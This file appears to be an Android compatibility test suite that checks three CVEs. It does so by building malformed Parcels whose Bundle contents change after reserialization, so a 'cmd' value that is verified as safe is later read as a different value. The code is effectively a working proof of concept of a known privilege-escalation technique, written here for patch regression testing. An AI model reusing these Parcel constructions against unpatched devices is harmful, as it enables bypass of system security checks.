/*
 * Copyright (C) 2018 The AndroCid Open Source Project
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *      http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */

package android.security.cts;

import android.test.AndroidTestCase;

import android.app.Activity;
import android.os.BaseBundle;
import android.os.Bundle;
import android.os.Parcel;
import android.annotation.SuppressLint;

import java.io.InputStream;
import java.lang.reflect.Field;
import java.util.Random;

import android.security.cts.R;
import android.platform.test.annotations.SecurityTest;

public class AmbiguousBundlesTest extends AndroidTestCase {

    @SecurityTest(minPatchLevel = "2017-10")
    public void test_android_CVE_2017_0806() throws Exception {
        Ambiguator ambiguator = new Ambiguator() {
            @Override
            public Bundle make(Bundle preReSerialize, Bundle postReSerialize) throws Exception {
                Random random = new Random(1234);
                int minHash = 0;
                for (String s : preReSerialize.keySet()) {
                    minHash = Math.min(minHash, s.hashCode());
                }
                for (String s : postReSerialize.keySet()) {
                    minHash = Math.min(minHash, s.hashCode());
                }

                String key;
                int keyHash;

                do {
                    key = randomString(random);
                    keyHash = key.hashCode();
                } while (keyHash >= minHash);

                padBundle(postReSerialize, preReSerialize.size() + 1, minHash, random);
                padBundle(preReSerialize, postReSerialize.size() - 1, minHash, random);

                String key2;
                int key2Hash;
                do {
                    key2 = makeStringToInject(postReSerialize, random);
                    key2Hash = key2.hashCode();
                } while (key2Hash >= minHash || key2Hash <= keyHash);


                Parcel parcel = Parcel.obtain();

                parcel.writeInt(preReSerialize.size() + 2);
                parcel.writeString(key);

                parcel.writeInt(VAL_PARCELABLE);
                parcel.writeString("android.service.gatekeeper.GateKeeperResponse");

                parcel.writeInt(0);
                parcel.writeInt(0);
                parcel.writeInt(0);

                parcel.writeString(key2);
                parcel.writeInt(VAL_NULL);

                writeBundleSkippingHeaders(parcel, preReSerialize);

                parcel.setDataPosition(0);
                Bundle bundle = new Bundle();
                parcelledDataField.set(bundle, parcel);
                return bundle;
            }

            @Override
            protected String makeStringToInject(Bundle stuffToInject, Random random) {
                Parcel p = Parcel.obtain();
                p.writeInt(0);
                p.writeInt(0);

                Parcel p2 = Parcel.obtain();
                stuffToInject.writeToParcel(p2, 0);
                int p2Len = p2.dataPosition() - BUNDLE_SKIP;

                for (int i = 0; i < p2Len / 4 + 4; i++) {
                    int paddingVal;
                    if (i > 3) {
                        paddingVal = i;
                    } else {
                        paddingVal = random.nextInt();
                    }
                    p.writeInt(paddingVal);

                }

                p.appendFrom(p2, BUNDLE_SKIP, p2Len);
                p2.recycle();

                while (p.dataPosition() % 8 != 0) p.writeInt(0);
                for (int i = 0; i < 2; i++) {
                    p.writeInt(0);
                }

                int len = p.dataPosition() / 2 - 1;
                p.writeInt(0); p.writeInt(0);
                p.setDataPosition(0);
                p.writeInt(len);
                p.writeInt(len);
                p.setDataPosition(0);
                String result = p.readString();
                p.recycle();
                return result;
            }
        };

        testAmbiguator(ambiguator);
    }

    @SecurityTest(minPatchLevel = "2018-05")
    public void test_android_CVE_2017_13311() throws Exception {
        Ambiguator ambiguator = new Ambiguator() {
            @Override
            public Bundle make(Bundle preReSerialize, Bundle postReSerialize) throws Exception {
               Random random = new Random(1234);
               int minHash = 0;
                for (String s : preReSerialize.keySet()) {
                    minHash = Math.min(minHash, s.hashCode());
                }
                for (String s : postReSerialize.keySet()) {
                    minHash = Math.min(minHash, s.hashCode());
                }

                String key;
                int keyHash;

                do {
                    key = randomString(random);
                    keyHash = key.hashCode();
                } while (keyHash >= minHash);

                padBundle(postReSerialize, preReSerialize.size(), minHash, random);
                padBundle(preReSerialize, postReSerialize.size(), minHash, random);

                Parcel parcel = Parcel.obtain();

                parcel.writeInt(preReSerialize.size() + 1);
                parcel.writeString(key);

                parcel.writeInt(VAL_OBJECTARRAY);
                parcel.writeInt(3);

                parcel.writeInt(VAL_PARCELABLE);
                parcel.writeString("com.android.internal.app.procstats.ProcessStats");

                parcel.writeInt(PROCSTATS_MAGIC);
                parcel.writeInt(PROCSTATS_PARCEL_VERSION);
                parcel.writeInt(PROCSTATS_STATE_COUNT);
                parcel.writeInt(PROCSTATS_ADJ_COUNT);
                parcel.writeInt(PROCSTATS_PSS_COUNT);
                parcel.writeInt(PROCSTATS_SYS_MEM_USAGE_COUNT);
                parcel.writeInt(PROCSTATS_SPARSE_MAPPING_TABLE_ARRAY_SIZE);

                parcel.writeLong(0);
                parcel.writeLong(0);
                parcel.writeLong(0);
                parcel.writeLong(0);
                parcel.writeLong(0);
                parcel.writeString(null);
                parcel.writeInt(0);
                parcel.writeInt(0);

                parcel.writeInt(0);
                parcel.writeInt(0);
                parcel.writeInt(1);
                parcel.writeInt(1);
                parcel.writeInt(0);

                for (int i = 0; i < PROCSTATS_ADJ_COUNT; i++) {
                    parcel.writeInt(0);
                }

                parcel.writeInt(0);
                parcel.writeInt(1);
                parcel.writeInt(0);

                parcel.writeInt(0);
                parcel.writeInt(0);
                parcel.writeInt(1);
                parcel.writeInt(VAL_LONGARRAY);
                parcel.writeString("AAAAA");
                parcel.writeInt(0);

                parcel.writeInt(VAL_INTEGER);
                parcel.writeInt(0);
                parcel.writeInt(VAL_BUNDLE);
                parcel.writeBundle(postReSerialize);

                writeBundleSkippingHeaders(parcel, preReSerialize);

                parcel.setDataPosition(0);
                Bundle bundle = new Bundle();
                parcelledDataField.set(bundle, parcel);
                return bundle;
            }

            @Override
            protected String makeStringToInject(Bundle stuffToInject, Random random) {
                return null;
            }
        };

        testAmbiguator(ambiguator);
    }

    @SecurityTest(minPatchLevel = "2018-04")
    public void test_android_CVE_2017_13287() throws Exception {
        Ambiguator ambiguator = new Ambiguator() {
            @Override
            public Bundle make(Bundle preReSerialize, Bundle postReSerialize) throws Exception {
                Random random = new Random(1234);
                int minHash = 0;
                for (String s : preReSerialize.keySet()) {
                    minHash = Math.min(minHash, s.hashCode());
                }
                for (String s : postReSerialize.keySet()) {
                    minHash = Math.min(minHash, s.hashCode());
                }

                String key;
                int keyHash;

                do {
                    key = randomString(random);
                    keyHash = key.hashCode();
                } while (keyHash >= minHash);

                padBundle(postReSerialize, preReSerialize.size() + 1, minHash, random);
                padBundle(preReSerialize, postReSerialize.size() - 1, minHash, random);

                String key2;
                int key2Hash;
                do {
                    key2 = makeStringToInject(postReSerialize, random);
                    key2Hash = key2.hashCode();
                } while (key2Hash >= minHash || key2Hash <= keyHash);


                Parcel parcel = Parcel.obtain();

                parcel.writeInt(preReSerialize.size() + 2);
                parcel.writeString(key);

                parcel.writeInt(VAL_PARCELABLE);
                parcel.writeString("com.android.internal.widget.VerifyCredentialResponse");

                parcel.writeInt(0);
                parcel.writeInt(0);

                parcel.writeString(key2);
                parcel.writeInt(VAL_NULL);

                writeBundleSkippingHeaders(parcel, preReSerialize);

                parcel.setDataPosition(0);
                Bundle bundle = new Bundle();
                parcelledDataField.set(bundle, parcel);
                return bundle;
            }

            @Override
            protected String makeStringToInject(Bundle stuffToInject, Random random) {
                Parcel p = Parcel.obtain();
                p.writeInt(0);
                p.writeInt(0);

                Parcel p2 = Parcel.obtain();
                stuffToInject.writeToParcel(p2, 0);
                int p2Len = p2.dataPosition() - BUNDLE_SKIP;

                for (int i = 0; i < p2Len / 4 + 4; i++) {
                    int paddingVal;
                    if (i > 3) {
                        paddingVal = i;
                    } else {
                        paddingVal = random.nextInt();
                    }
                    p.writeInt(paddingVal);

                }

                p.appendFrom(p2, BUNDLE_SKIP, p2Len);
                p2.recycle();

                while (p.dataPosition() % 8 != 0) p.writeInt(0);
                for (int i = 0; i < 2; i++) {
                    p.writeInt(0);
                }

                int len = p.dataPosition() / 2 - 1;
                p.writeInt(0); p.writeInt(0);
                p.setDataPosition(0);
                p.writeInt(len);
                p.writeInt(len);
                p.setDataPosition(0);
                String result = p.readString();
                p.recycle();
                return result;
            }
        };

        testAmbiguator(ambiguator);
    }

    private void testAmbiguator(Ambiguator ambiguator) {
        Bundle bundle;
        Bundle verifyMe = new Bundle();
        verifyMe.putString("cmd", "something_safe");
        Bundle useMe = new Bundle();
        useMe.putString("cmd", "replaced_thing");

        try {
            bundle = ambiguator.make(verifyMe, useMe);

            bundle = reparcel(bundle);
            String value1 = bundle.getString("cmd");
            bundle = reparcel(bundle);
            String value2 = bundle.getString("cmd");

            if (!value1.equals(value2)) {
                fail("String " + value1 + "!=" + value2 + " after reparceling.");
            }
        } catch (Exception e) {
        }
    }

    @SuppressLint("ParcelClassLoader")
    private Bundle reparcel(Bundle source) {
        Parcel p = Parcel.obtain();
        p.writeBundle(source);
        p.setDataPosition(0);
        Bundle copy = p.readBundle();
        p.recycle();
        return copy;
    }

    static abstract class Ambiguator {

        protected static final int VAL_NULL = -1;
        protected static final int VAL_INTEGER = 1;
        protected static final int VAL_BUNDLE = 3;
        protected static final int VAL_PARCELABLE = 4;
        protected static final int VAL_OBJECTARRAY = 17;
        protected static final int VAL_INTARRAY = 18;
        protected static final int VAL_LONGARRAY = 19;
        protected static final int BUNDLE_SKIP = 12;

        protected static final int PROCSTATS_MAGIC = 0x50535454;
        protected static final int PROCSTATS_PARCEL_VERSION = 21;
        protected static final int PROCSTATS_STATE_COUNT = 14;
        protected static final int PROCSTATS_ADJ_COUNT = 8;
        protected static final int PROCSTATS_PSS_COUNT = 7;
        protected static final int PROCSTATS_SYS_MEM_USAGE_COUNT = 16;
        protected static final int PROCSTATS_SPARSE_MAPPING_TABLE_ARRAY_SIZE = 4096;

        protected final Field parcelledDataField;

        public Ambiguator() throws Exception {
            parcelledDataField = BaseBundle.class.getDeclaredField("mParcelledData");
            parcelledDataField.setAccessible(true);
        }

        abstract public Bundle make(Bundle preReSerialize, Bundle postReSerialize) throws Exception;

        abstract protected String makeStringToInject(Bundle stuffToInject, Random random);

        protected static void writeBundleSkippingHeaders(Parcel parcel, Bundle bundle) {
            Parcel p2 = Parcel.obtain();
            bundle.writeToParcel(p2, 0);
            parcel.appendFrom(p2, BUNDLE_SKIP, p2.dataPosition() - BUNDLE_SKIP);
            p2.recycle();
        }

        protected static String randomString(Random random) {
            StringBuilder b = new StringBuilder();
            for (int i = 0; i < 6; i++) {
                b.append((char)(' ' + random.nextInt('~' - ' ' + 1)));
            }
            return b.toString();
        }

        protected static void padBundle(Bundle bundle, int size, int minHash, Random random) {
            while (bundle.size() < size) {
                String key;
                do {
                    key = randomString(random);
                } while (key.hashCode() < minHash || bundle.containsKey(key));
                bundle.putString(key, "PADDING");
            }
        }
    }
}
